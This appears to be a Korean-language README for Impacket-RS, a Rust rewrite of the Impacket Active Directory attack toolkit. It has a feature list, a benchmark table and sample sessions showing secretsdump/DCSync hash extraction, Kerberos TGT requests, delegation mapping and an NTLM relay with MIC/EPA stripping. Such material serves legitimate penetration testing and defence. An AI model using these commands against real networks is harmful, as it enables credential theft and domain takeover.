
Linux, macOS, Windows용 Impacket 프로토콜 및 Active Directory 도구를 고성능·메모리 안전한 순수 Rust로 재설계한 것.
핵심 Impacket 네트워크 프로토콜 및 Active Directory 도구의 고성능·메모리 안전 Rust 재설계
Python 또는 C 런타임 의존성 제로 • 순수 Rust 암호화 프리미티브 • 100% Impacket 동등성 • Linux, macOS 및 Windows
Impacket-RS는 업계 표준인 SecureAuth Impacket 툴킷을 순수 Rust로 처음부터 다시 작성한 현대적이고 메모리 안전한 구현입니다. 보안 연구원, 침투 테스터, 레드 팀, 시스템 관리자를 위해 만들어졌으며, 저수준 Windows 네트워크 프로토콜 조작에 눈부신 속도, 1밀리초 미만의 콜드 스타트, 인터프리터 오버헤드 제로, 완전한 컴파일 타임 메모리 안전성을 제공합니다.
psexec, wmiexec, smbexec, atexec), 네트워크 스캐닝 및 핑거프린팅(scan, cldap, kerbrute), 에이전트리스 보안 감사(audit host, audit domain), 상태 볼트 지속성(hosts, creds), 자격 증명 덤핑(secretsdump, ntdsdump, dpapi), ADCS 인증서 등록 및 감사([MS-ICPR] 및 ESC1-ESC15 전반에 걸친 certipy), Shadow Credentials(msDS-KeyCredentialLink용 whisker), 인증 강제(EFSR/RPRN/FSRVP/DFSNM 전반에 걸친 coerce), Kerberos 공격 및 아머링(GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), Active Directory 관리(ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), 릴레이(ntlmrelayx), 패킷 분석(sniffer), 네트워크 감사(rdp_check, mqtt_check, tracer)를 아우르는 95개의 CLI 서브커맨드.LegacyWin2000, UniversalAuto, ModernHardened) 런타임 다이얼렉트 자동 협상.
Apple Silicon(M 시리즈, 10코어) 및 Linux(AMD EPYC, 8코어)에서 Python 3.11 Impacket v0.12.0과 impacket-rs v0.1.0(릴리스 빌드)을 비교하여 실행한 벤치마크:
| 벤치마크 지표 | Python Impacket (v0.12.0) | Impacket-RS (Rust) | 속도 향상 / 효율성 |
|---|---|---|---|
| CLI 콜드 스타트 지연 | 185.4 ms | 1.8 ms | ~103배 빠름 |
| NDR PDU 팩 + 언팩 | 42,000 ops/sec | 5,850,000 ops/sec | ~139배 빠름 |
| 메모리 사용량 (RSS) | 48.2 MB | 4.6 MB | ~10배 작음 |
| 10,000개 NTDS 해시 파싱 | 14.8 seconds | 0.22 seconds | ~67배 빠름 |
| Kerberos 티켓 암호화 | 1,250 tickets/sec | 98,400 tickets/sec | ~78배 빠름 |
| 정적 바이너리 크기 | Python + Venv 필요 | 단일 자체 포함 바이너리 | 런타임 의존성 제로 |
secretsdump (원격 SAM, LSA 및 Active Directory DCSync)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx 다중 대상 릴레이$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.
impacket-rs는 x86_64 (amd64) 및 aarch64 (arm64) 아키텍처 모두에서 Linux, macOS, Windows용으로 빌드됩니다.
미리 컴파일된 독립 실행형 바이너리가 모든 릴리스에 대해 GitHub Releases에 게시됩니다: